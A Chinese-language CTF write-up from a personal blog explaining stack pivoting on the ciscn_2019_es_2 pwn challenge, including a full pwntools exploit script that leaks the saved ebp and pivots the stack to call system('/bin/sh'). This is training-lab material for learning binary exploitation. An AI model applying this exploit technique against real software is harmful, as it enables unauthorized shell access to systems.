ciscn_2019_es_2-&-栈迁移 例行检查:
可以看到为32位ELF文件,只开启了堆栈不可执行保护。
查看汇编和伪代码:
简单查看可以知道栈溢出漏洞在vul函数中:
但是同时这里又出现了一个问题就是:虽然read函数可以读取0x30字节数据并且刚好可以覆盖到返回地址,但是却没有足够的空间构造rop链,所以这里构造rop链的方式基本可以否决。那么我们该如何利用这个返回地址去完成getshell?
我们都知道指令的执行其实是按照esp/rsp指针指向的地址进行操作的,就比如:push,pull对栈进行操作的指令,都是往栈顶。
下面对这道题进行详解:
所以这里我们就需要用到栈迁移的技巧去构造一个新的栈结构。
EBP被称为栈帧寄存器,每一次函数调用都会通过栈帧来对栈内数据进行维护。当我们想办法修改EBP寄存器到其他地方,那么函数的栈空间也就发生了改变。这就叫做栈迁移。
我们为什么要使用栈迁移呢?我们在什么情况下使用栈迁移? 我们首先要知道栈溢出在什么情况下可以getshell?大多数情况都是我们可输入的字符远远的超出了缓冲区与栈帧之间的距离。但是我们不可能总是这么幸运,我们总能输入很长的字符串,那么如果我们只能输入几个字节,我们又该如何利用?这时我们就可以使用到栈迁移
那么我们如何去利用栈迁移进行溢出呢?
看一下上一节当函数调用结束时的几个指令,就是利用leave;ret
指令。由于用到了这两个指令,那么我们溢出的时候就需要有这么一个前提:即使我们溢出缓冲区的字节数很少,也需要覆盖到EBP和EIP这两个地方。EBP将决定我们可以将栈空间放在哪里,而ret指令将决定我们调用完函数以后可以干什么
首先我们应该如何去构造一个符合我们预期的栈帧,这里就要用到ebp,esp这两个指针。
我们该怎么去改变esp和ebp指针呢?这里就要用到leave,ret指令,leave:mov esp,ebp|pop ebp ; ret: pop eip。
首先我们看一开始的栈帧结构:
而当程序运行到程序中的leave时:
首先就会执行mov esp,ebp
esp中变成ebp的地址,所以esp跳转到esp指针指向的位置,也就是上图所示。
其实leave指令第一步就是将esp移动到ebp指向的位置,所以我们就会想到利用可以覆盖的pre_ebp和return addr进行ebp和esp指针的控制。
第二步就是执行pop ebp,这里我们的目的就是让esp重新指向我们填充数据的pre_esp所以应该往pre_ebp里面覆盖之前栈顶的地址。
但是很明显我们并不清楚他的地址,但是知道ebp指针和栈顶的相对偏移为0x28。所以我们可以选择先对pre_ebp地址进行泄露,利用printf。
pythonpayload1 = b'a'*(0x27)+b'b'
io.send(payload1)
io.recvuntil(b'b')
pre_ebp = u32(io.recv(4))
这里先填充0x28字节垃圾数据,利用printf输出pre_ebp的地址(这里因为printf遇到\x00截断,而pre_ebp里是前一个ebp的地址所以并不会被截断,反而会将地址泄露出来)。泄露出来之后其实还不够,因为这地址是caller函数的地址,所以这里我调试可以知道caller和callee的ebp之间的距离,再加上0x28就是我们想要的new_ebp的地址
这里显示距离为0x10,所以new_ebp = pre_ebp-0x38
之后再执行pop ebp就如下图:
接着就会执行ret,为了把esp移动到ebp的位置就需要在执行一遍leave指令:
填充到ret addr。
第二次执行之后其实
当esp重新回到我们想要的地址后,ebp的位置就不那么重要了,所以在栈顶填充4字节垃圾数据用于pop ebp。
之后就可以正常填充我们的攻击脚本了。
大概就是这样
pythonfrom pwn import*
context(log_level='debug',arch='i386',os='linux')
context.terminal=["tmux","split","-h"]
#io =remote('node4.buuoj.cn',28143)
io=process('./ciscn_2019_es_2')
payload1 = b'a'*(0x27)+b'b'
io.send(payload1)
io.recvuntil(b'b')
pre_ebp = u32(io.recv(4))
print(hex(pre_ebp))
pop_ebp = 0x0804869b
leave_ret = 0x080484b8
system = 0x8048400
#payload2 = b'a'*(0x28+4)+p32(0x08048410)
new_ebp_addr = pre_ebp - 0x38
#gdb.attach(io)
payload2 =b'a'*4+p32(system)+b'a'*4+p32(pre_ebp -0x28)+b'/bin/sh'
payload2+=b'\x00'*0x11+p32(new_ebp_addr)+p32(leave_ret)
io.sendline(payload2)
io.interactive()
解释 & 注意:
io.send(),不能用io.sendline(),因为io.sendline(),会后置一个‘\n’,导致后面recv接收出错。
new_ebp_addr是pre_ebp-0x38,而不是0x28
payload2中system返回地址后面要填写的是/bin/sh在栈上的地址(因为/bin/sh是字符串),同时/bin/sh后面要用\x00截断。
栈迁移就是利用一系列对栈顶和栈基指针的指令完成对新栈的构建。
本文作者:Hyrink
本文链接:
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!